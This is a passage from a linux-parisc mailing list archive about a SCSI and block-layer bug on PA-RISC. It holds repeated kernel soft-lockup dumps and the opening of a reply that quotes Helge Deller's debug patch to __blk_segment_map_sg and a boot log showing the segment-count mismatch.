 [<00000000401edacc>] update_process_times+0x74/0xd8                            
 [<000000004015d3c0>] timer_interrupt+0x1b0/0x210                               
 [<00000000401dad4c>] handle_irq_event_percpu+0xb4/0x250                        
 [<00000000401e06b4>] handle_percpu_irq+0xac/0xe8                               
 [<00000000401d9fc4>] generic_handle_irq+0x4c/0x68                              
 [<000000004014a2cc>] call_on_stack+0x18/0x24                                   
                                                                                
timer_interrupt(CPU 3): delayed! cycles 998573C3 rem 42393D  next/now 2EDA613C2F
NMI watchdog: BUG: soft lockup - CPU#3 stuck for 24s! [systemd-udevd:927]       
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 3 PID: 927 Comm: systemd-udevd Tainted: G      D W    L  4.5.0-rc5 #1      
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001101111111100001111 Tainted: G      D W    L                  
r00-03  000000ff0806ff0f 000000007e551d10 0000000040202348 000000007e551c40     
r04-07  000000004070f340 000000007e551ce0 000000004079c560 000000004079c4a0     
r08-11  0000000042e4b360 0000000042e4b368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007e551ce0 0000000010201000 0000000040738340     
r16-19  000000007e551220 000000007fe8e800 000000007e71d800 0000000042e421d0     
r20-23  0000000000000001 0000000042e4b368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e4b368 000000004070f340     
r28-31  0000000000000002 000000007e551d60 000000007e551d10 0000000000000003     
sr00-03  000000000001b800 0000000000000000 0000000000000000 000000000001b800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        3   CR30: 000000007e550000 CR31: fffffffffffeffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<000000004015c2d8>] die_if_kernel+0x1f8/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
timer_interrupt(CPU 3): delayed! cycles 82907FF3 rem 90D60D  next/now 356676622F
NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [systemd-udevd:927]       
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 3 PID: 927 Comm: systemd-udevd Tainted: G      D W    L  4.5.0-rc5 #1      
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001101111111100001111 Tainted: G      D W    L                  
r00-03  000000ff0806ff0f 000000007e551d10 0000000040202348 000000007e551c40     
r04-07  000000004070f340 000000007e551ce0 000000004079c560 000000004079c4a0     
r08-11  0000000042e4b360 0000000042e4b368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007e551ce0 0000000010201000 0000000040738340     
r16-19  000000007e551220 000000007fe8e800 000000007e71d800 0000000042e421d0     
r20-23  0000000000000001 0000000042e4b368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e4b368 000000004070f340     
r28-31  0000000000000002 000000007e551d60 000000007e551d10 0000000000000003     
sr00-03  000000000001b800 0000000000000000 0000000000000000 000000000001b800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        3   CR30: 000000007e550000 CR31: fffffffffffeffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<000000004015c2d8>] die_if_kernel+0x1f8/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
timer_interrupt(CPU 3): delayed! cycles 82919115 rem 8FC4EB  next/now 3BEB647A21
NMI watchdog: BUG: soft lockup - CPU#1 stuck for 23s! [udevadm:929]             
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 1 PID: 929 Comm: udevadm Tainted: G      D W    L  4.5.0-rc5 #1            
task: 000000007f074d18 ti: 000000007c648000 task.ti: 000000007c648000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001001111111100001111 Tainted: G      D W    L                  
r00-03  000000ff0804ff0f 000000007c648850 0000000040202348 000000007c648780     
r04-07  000000004070f340 000000007c648820 000000004079c560 000000004079c4a0     
r08-11  0000000042e29360 0000000042e29368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007c648820 00000000fa88bb88 0000000000000002     
r16-19  00000000fa889f20 0000000000000000 00000000000ce9f4 0000000042e42190     
r20-23  0000000000000001 0000000042e29368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e29368 000000004070f340     
r28-31  0000000000000002 000000007c6488a0 000000007c648850 0000000000000003     
sr00-03  0000000000015800 0000000000015800 0000000000000000 0000000000015800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        1   CR30: 000000007c648000 CR31: ffffffffffffffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<00000000401880a0>] do_group_exit+0x50/0xf0                                   
 [<0000000040188160>] SyS_exit_group+0x20/0x28                                  
 [<0000000040149fe8>] syscall_exit+0x0/0x14                                     
                                                                                
timer_interrupt(CPU 1): delayed! cycles 84101F2A rem 4263D6  next/now 3CCB28AEFD
NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [systemd-udevd:927]       
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 3 PID: 927 Comm: systemd-udevd Tainted: G      D W    L  4.5.0-rc5 #1      
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001101111111100001111 Tainted: G      D W    L                  
r00-03  000000ff0806ff0f 000000007e551d10 0000000040202348 000000007e551c40     
r04-07  000000004070f340 000000007e551ce0 000000004079c560 000000004079c4a0     
r08-11  0000000042e4b360 0000000042e4b368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007e551ce0 0000000010201000 0000000040738340     
r16-19  000000007e551220 000000007fe8e800 000000007e71d800 0000000042e421d0     
r20-23  0000000000000001 0000000042e4b368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e4b368 000000004070f340     
r28-31  0000000000000002 000000007e551d60 000000007e551d10 0000000000000003     
sr00-03  000000000001b800 0000000000000000 0000000000000000 000000000001b800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        3   CR30: 000000007e550000 CR31: fffffffffffeffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<000000004015c2d8>] die_if_kernel+0x1f8/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
timer_interrupt(CPU 3): delayed! cycles 829113E3 rem 90421D  next/now 427052922F
NMI watchdog: BUG: soft lockup - CPU#1 stuck for 23s! [udevadm:929]             
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 1 PID: 929 Comm: udevadm Tainted: G      D W    L  4.5.0-rc5 #1            
task: 000000007f074d18 ti: 000000007c648000 task.ti: 000000007c648000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001001111111100001111 Tainted: G      D W    L                  
r00-03  000000ff0804ff0f 000000007c648850 0000000040202348 000000007c648780     
r04-07  000000004070f340 000000007c648820 000000004079c560 000000004079c4a0     
r08-11  0000000042e29360 0000000042e29368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007c648820 00000000fa88bb88 0000000000000002     
r16-19  00000000fa889f20 0000000000000000 00000000000ce9f4 0000000042e42190     
r20-23  0000000000000001 0000000042e29368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e29368 000000004070f340     
r28-31  0000000000000002 000000007c6488a0 000000007c648850 0000000000000003     
sr00-03  0000000000015800 0000000000015800 0000000000000000 0000000000015800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        1   CR30: 000000007c648000 CR31: ffffffffffffffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<00000000401880a0>] do_group_exit+0x50/0xf0                                   
 [<0000000040188160>] SyS_exit_group+0x20/0x28                                  
 [<0000000040149fe8>] syscall_exit+0x0/0x14                                     
                                                                                
timer_interrupt(CPU 1): delayed! cycles 840FA62E rem 42DCD2  next/now 435016C6F1

I've downloaded linux-block and I'll see if I can pin point the change that causes the problem.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sat, 20 Feb 2016 19:47:04 -0800
Lines: 416
Approved: news@gmane.org
Message-ID: <1456026424.2268.5.camel@HansenPartnership.com>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
	 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
	 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
	 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
	 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456077376 14628 80.91.229.3 (21 Feb 2016 17:56:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 17:56:16 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 18:56:03 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXYEU-0002CD-R4
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 18:55:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751625AbcBURzp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 12:55:45 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35044 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751688AbcBURzc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 12:55:32 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0BB138EE0E3;
	Sat, 20 Feb 2016 19:47:06 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1456026426;
	bh=ArqymLkf3BY9lYapNZ9qjGyzvDNdFASvsVR6HG4X/24=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=sUce7O0gaXYgTayBmU3nqJ42IlvL5hJaVDNfmxNdEnfWt3AkSjPEOp1tFohBuajs/
	 9h+IbL2mfXH++fY7he4cLrACkxBmHmBKOhHWHwGJBjI1u5vurjhwEvOrprUBDj5t+o
	 jXp7g8rkGHOJNBG6P7zejN4hEeP7oQD0MNLp7GgE=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pexeeHTGomjx; Sat, 20 Feb 2016 19:47:05 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 859428EE06E;
	Sat, 20 Feb 2016 19:47:05 -0800 (PST)
In-Reply-To: <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26473>

On Sat, 2016-02-20 at 21:52 -0500, John David Anglin wrote:
> On 2016-02-20, at 5:52 PM, John David Anglin wrote:
> 
> > On 2016-02-20, at 4:59 PM, Helge Deller wrote:
> > 
> > > On 20.02.2016 21:43, John David Anglin wrote:
> > > > On 2016-02-20, at 3:13 PM, John David Anglin wrote:
> > > > 
> > > > > On 2016-01-23, at 1:00 PM, John David Anglin wrote:
> > > > > 
> > > > > > WARNING: at block/blk-merge.c:454
> > > > > 
> > > > > With linux-image-4.4.0-1-parisc64-smp on c3740, the above
> > > > > warning is the last message I see.
> > > > > Kernel seems to hang at that point.  This is warning code:
> > > > > 
> > > > >      /*
> > > > >       * Something must have been wrong if the figured number
> > > > > of
> > > > >       * segment is bigger than number of req's physical
> > > > > segments
> > > > >       */
> > > > >      WARN_ON(nsegs > rq->nr_phys_segments);
> > > > 
> > > > On Sep. 12, 2015, I reported the following problem:
> > > > 
> > > > http://www.spinics.net/lists/linux-parisc/msg06327.html
> > > 
> > > The problem is still, that this bug can only be reproduced at
> > > every boot when then 
> > > scsi drivers are built as modules (and in an initrd). I could
> > > never reproduce it when
> > > I booted a kernel with built-in scsi drivers.
> > > 
> > > The bug seems to be triggered by(*nsegs)++ command in
> > > __blk_segment_map_sg() in block/blk-merge.c.
> > > I'm testing with the 4.4.2 kernel from debian.
> > > I modified __blk_segment_map_sg() like that:
> > > static inline void
> > > __blk_segment_map_sg(struct request_queue *q, struct bio_vec
> > > *bvec,
> > >                    struct scatterlist *sglist, struct bio_vec
> > > *bvprv,
> > >                    struct scatterlist **sg, int *nsegs, int
> > > *cluster)
> > > {
> > > 
> > >       int nbytes = bvec->bv_len;
> > > 
> > >       if (*sg && *cluster) {
> > >               if ((*sg)->length + nbytes >
> > > queue_max_segment_size(q))
> > >                       goto new_segment;
> > > 
> > >               if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
> > >                       goto new_segment;
> > >               if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
> > >                       goto new_segment;
> > > 
> > >               (*sg)->length += nbytes;
> > >       } else {
> > > new_segment:
> > >               if (*sg && *cluster) {
> > >                       printk("NEW SEGMENT sg = %p!!!\n", sg);
> > >                       printk("__blk_segment_map_sg: length = %d,
> > > nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)
> > > ->length + nbytes, queue_max_segment_size(q));
> > >                       printk("__blk_segment_map_sg:
> > > BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n",
> > > BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q, bvprv,
> > > bvec) );
> > >               }
> > >               if (!*sg)
> > >                       *sg = sglist;
> > >               else {
> > >                       /*
> > >                        * If the driver previously mapped a
> > > shorter
> > >                        * list, we could see a termination bit
> > >                        * prematurely unless it fully inits the sg
> > >                        * table on each mapping. We KNOW that
> > > there
> > >                        * must be more entries here or the driver
> > >                        * would be buggy, so force clear the
> > >                        * termination bit to avoid doing a full
> > >                        * sg_init_table() in drivers for each
> > > command.
> > >                        */
> > >                       sg_unmark_end(*sg);
> > >                       *sg = sg_next(*sg);
> > >               }
> > > 
> > >               sg_set_page(*sg, bvec->bv_page, nbytes, bvec
> > > ->bv_offset);
> > >               (*nsegs)++;
> > >       }
> > >       *bvprv = *bvec;
> > > }
> > > 
> > > The boot log looks then like this:
> > > [   43.044000] scsi_init_sgtable: count = 1, nents = 1
> > > (there are lots of those before it!)
> > > [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   43.164000] scsi_init_sgtable: count = 1, nents = 1
> > > [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   43.280000] scsi_init_sgtable: count = 1, nents = 1
> > > [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   43.396000] scsi_init_sgtable: count = 1, nents = 1
> > > [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   43.512000] scsi_init_sgtable: count = 1, nents = 1
> > > [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
> > > [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   43.628000] scsi_init_sgtable: count = 3, nents = 3
> > > [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   44.224000] scsi_init_sgtable: count = 1, nents = 1
> > > [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   44.340000] scsi_init_sgtable: count = 1, nents = 1
> > > [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
> > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   44.456000] scsi_init_sgtable: count = 7, nents = 7
> > > [   44.456000] timer_interrupt(CPU 0): delayed! cycles 4527081F
> > > rem C6C21  next/now 14E153306E/14E146C44D
> > > [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
> > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   46.116000] __blk_segment_map_sg: length = 8192, nbytes =
> > > 4096, sum = 12288 > 65536
> > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> > > [   46.116000] __blk_segment_map_sg: length = 16384, nbytes =
> > > 4096, sum = 20480 > 65536
> > > [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   46.116000] scsi_init_sgtable: count = 7, nents = 7
> > > [   46.116000] timer_interrupt(CPU 0): delayed! cycles 453F0A77
> > > rem 223089  next/now 152BB6286E/152B93F7E5
> > > [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   47.780000] scsi_init_sgtable: count = 1, nents = 1
> > > [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
> > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   47.896000] __blk_segment_map_sg: length = 61440, nbytes =
> > > 4096, sum = 65536 > 65536
> > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
> > > 4096, sum = 8192 > 65536
> > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
> > > 4096, sum = 12288 > 65536
> > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
> > > 4096, sum = 12288 > 65536
> > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   47.896000] scsi_init_sgtable: count = 6, nents = 6
> > > [   47.896000] timer_interrupt(CPU 0): delayed! cycles 3AB087E2
> > > rem 23E4DE  next/now 1570BBD5EE/157097F110
> > > [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
> > > [   49.324000] scsi_init_sgtable: count = 1, nents = 1
> > > [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
> > > [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   49.440000] __blk_segment_map_sg: length = 65536, nbytes =
> > > 4096, sum = 69632 > 65536
> > > 
> > > (this is interesting! Here we reach a sum of > 65536 the first
> > > time)
> > > 
> > > [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > [   49.440000] __blk_segment_map_sg: length = 16384, nbytes =
> > > 4096, sum = 20480 > 65536
> > > [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> > > BIOVEC_SEG_BOUNDARY = 1
> > > [   49.440000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments
> > > = 3 > 2
> > > [   49.440000] scsi_init_sgtable: count = 3, nents = 2
> > > [   50.116000] ------------[ cut here ]------------
> > > [   50.172000] WARNING: at /build/linux-4.4/linux
> > > -4.4.2/drivers/scsi/scsi_lib.c:1104
> > > 
> > > (this is usually a BUG(). I changed it to WARN() in the hope it
> > > would work anyway. It didn't.)
> > > 
> > > [   50.260000] Modules linked in: sd_mod sr_mod cdrom ata_generic
